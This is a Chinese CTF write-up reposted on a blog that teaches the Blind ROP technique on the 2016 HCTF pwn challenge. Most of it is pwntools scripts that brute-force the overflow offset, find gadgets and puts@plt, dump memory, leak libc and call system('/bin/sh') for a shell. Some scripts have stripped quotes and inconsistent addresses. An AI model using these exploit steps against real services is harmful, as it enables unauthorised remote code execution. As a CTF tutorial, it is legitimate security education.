首页 > 其他 > 详细

BROP详解(部分细节未完成)

时间:2021-02-15 10:35:58      阅读:53      评论:0      收藏:0      [点我收藏+]

BROP简介


 

BROP全称为"Blind ROP",一般在我们无法获得二进制文件的情况下利用ROP进行远程攻击某个应用程序,劫持该应用程序的控制流,我们可以不需要知道该应用程序的源代码或者任何二进制代码,该应用程序可以被现有的一些保护机制,诸如NX, ASLR, PIE, 以及stack canaries等保护,应用程序所在的服务器可以是32位系统或者64位系统,BROP这一概念在2014年由Standford的Andrea Bittau发表在Oakland 2014的论文Hacking Blind中提出。

BROP攻击条件


 

  • 程序存在栈溢出
  • 服务端在重启程序后会重新启动,并且在重新启动后地址与之前的一样

BROP攻击思路


一般的BROP思路大致如下:

  1. 暴力破解出栈溢出长度,如果存在canary则顺便把canary暴力破解出来;
  2. 寻找可以返回到程序main函数的gadget,通常被称为stop_gadget;
  3. 利用stop_gadget寻找可利用(potentially useful)gadgets,如:pop rdi; ret;
  4. 寻找可以利用的BROP gadgets,如:write、put函数的系统调用;
  5. 寻找对应的PLT地址,
  6. 使用dump远程内存空间;
  7. 拿到got内容后,泄露libc,使用ROP去getshell;

实例讲解


 2016 HCTF 出题人失踪了

由于没有二进制文件,checksec略过,直接运行下尝试下:

技术分享图片

爆破偏移地址:

脚本如下:

from pwn import *
def get_offset():
    i = 1
    while 1:
        try:
            p = process("./brop")
            p.recvuntil("WelCome my friend,Do you know password?\n")
            payload = a * i
            print "Now the payload is ",payload
            p.sendline(payload)
            data = p.recv()
            p.close()
            if not data.startswith("No password"):
                return i-1
            else:
                i+=1

        except EOFError:
            p.close()
            print "Success,EOFError,Stack is overflow..."
            return i-1
size = get_offset()
print "offset is ",size

这里需要注意下,使用sendline发送数据时会自动补上换行符,所以使用sendline的跑爆破出来的偏移地址需要手动+1,使用sendline爆破出来的效果如下:

技术分享图片

 寻找stop_gadgets

接下来我们尝试着去寻找stop_gadgets,即可以使程序返回到main函数的地址,脚本如下:

from pwn import *
def getStopGadgets():
    addr = 0x400000
    length = 72
    while 1:
        try: 
            sh = process("./brop")
            payload = a*length +p64(addr)
            sh.recvuntil("password?\n")
            sh.sendline(payload)
            output = sh.recvuntil("password?\n")
            sh.close()
            print("one stop addr: 0x%x" % (addr))
            if not output.startswith(WelCome):
                sh.close()
                addr+=1
            else:
                return addr
        except Exception:
            addr+=1
            sh.close()
stop_gadgets = getStopGadgets()

我们的爆破结果如下:

技术分享图片

 接下来我们使用objdump查看0x4005d0处的汇编语言,在真实情况下我们看不到这一块内容:

技术分享图片

 

 我们可以看到这段汇编语言会跳转到main函数,使函数重复执行。

寻找brop gadget

脚本如下(中间由于不知道什么原因中断了几次,修改了几次脚本,真实的应该在0x400000地址开始爆破):

from pwn import *
def get_brop_gadget(length, stop_gadget, addr):
    try:
        sh = process("./brop")
        sh.recvuntil(password?\n)
        payload = a * length + p64(addr) + p64(0) * 6 + p64(stop_gadget) + p64(0) * 10
        sh.sendline(payload)
        content = sh.recv()
        sh.close()
        print content
        # stop gadget returns memory
        if not content.startswith(WelCome):
            return False
        return True
    except Exception:
        sh.close()
        return False

def check_brop_gadget(length, addr):
    try:
        sh = process("./brop")
        sh.recvuntil(password?\n)
        payload = a * length + p64(addr) + a * 8 * 10
        sh.sendline(payload)
        content = sh.recv()
        sh.close()
        return False
    except Exception:
        sh.close()
        return True

length = 72
stop_gadget = 0x4005d0
addr = 0x4007b0
while 1:
    print hex(addr)
    if get_brop_gadget(length, stop_gadget, addr):
        print possible brop gadget: 0x%x % addr
        if check_brop_gadget(length, addr):
            print success brop gadget: 0x%x % addr
            break
    addr += 1

爆破结果如下:

技术分享图片

通过之前我们学习的ret2csu我们可以知道,在代码片段中存在一段汇编语言

技术分享图片

在最后一段pop r15的机器码我们可以一直到5f c3对应的汇编语言是pop rdi ;ret

所以我们再找到连续6个pop指令的片段后,对其地址+9,即可找到pop rdi;ret的代码段,而rdi也对应着下面调用函数第一位参数的存放地址

寻找puts@plt地址

通过上面,我们可以随意控制寄存器rdi的值,接下来我们可以通过控制调用的函数去得到puts函数的plt地址,脚本如下:

#coding:utf-8
from pwn import *
offset = 72
stop_gadget = 0x4005d0
pop_addr = 0x4007ba
def get_puts_addr(offset,pop_rid,stop_gadget):
    addr = 0x400000
    while 1:
        print hex(addr)
        sh = process("./brop")
        sh.recvuntil("password?\n")
        payload = offset * a + p64(pop_rid) + p64(0x400000) +p64(addr) + p64(stop_gadget)
        sh.sendline(payload)
        try:
            output = sh.recv()
            if output.startswith(\x7fELF):
                print find put@plt_addr: 0x%x %addr
                return addr
            sh.close()
            addr+=1
        except Exception:
            sh.close()
            addr+=1
pop_rid = pop_addr + 9
puts_addr = get_puts_addr(offset, pop_rid, stop_gadget)

爆破结果如下:

技术分享图片

通过这个脚本,我们可以爆破出puts函数的plt地址,之后,puts函数的真实地址就会存储在plt表中,接着我们就可以泄露出函数的真实地址:

寻找puts_got地址

脚本如下:

#coding:utf-8
from pwn import *
def leak(length, pop_rdi, leak_addr, put_plt, stop_gadgets):
    sh = process("./brop")
    payload = a*length + p64(pop_rdi) + p64(leak_addr) + p64(put_plt) + p64(stop_gadgets)
    sh.recvuntil("password?\n")
    sh.sendline(payload)
    try:
        output = sh.recv(timeout = 1)
        sh.close()
        try:
            output = output[:output.index("\nWelCome")]
        except Exception:
            output = output
        if output == "":
            output = "\x00"
        return output
    except Exception:
        sh.close()
        return None
offset = 72
stop_gadget = 0x4005d0
pop = 0x4007ba
pop_rdi = pop + 9
puts_plt = 0x400565
addr = 0x400000
result = ""
while addr < 0x400600:
    print hex(addr)
    output = leak(offset, pop_rdi, addr, puts_plt, stop_gadget)
    if output is None:
        result += \x00
        addr += 1
        continue
    else:
        result += output
    addr += len(output)
with open(dump,wb) as f:
    f.write(result)

我们将地址为0x400000-0x400600的内容存储到二进制文件dump中,而其中puts_plt跳转到的地址即位puts函数的真实地址。

我们查看二进制文件如下:

技术分享图片

 

 由于程序的地址应该在0x400000开始,而保存的二进制文件地址从0x0开始,所以puts函数的真实地址位:0x601018

完成getshell的脚本

from pwn import*
from LibcSearcher import*
context.log_level = "debug"

p = process(./brop)
puts_plt = 0x400570
puts_got = 0x201018
brop_gadget = 0x4007ba
stop_gadget = 0x4005d0
rdi_ret = brop_gadget + 9
payload = a*72 + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(stop_gadget)
p.recvuntil("password?\n")
p.sendline(payload)
data = p.recv(6).ljust(8,\x00)
p.recv()
puts_addr = u64(data)
print "puts address :0x%x"%puts_addr

libc = ELF(/lib/x86_64-linux-gnu/libc.so.6)
libc_base = puts_addr - libc.symbols[puts]
system  = libc_base + libc.symbols[system]
binsh = next(libc.search(/bin/sh))+libc_base
payload = a*72 + p64(rdi_ret) + p64(binsh) + p64(system) + p64(stop_gadget)
p.sendline(payload)
p.interactive()

运行脚本getshell

技术分享图片

 

 

 

 

 

 

 

BROP详解(部分细节未完成)

原文:https://www.cnblogs.com/eur1ka/p/14402670.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!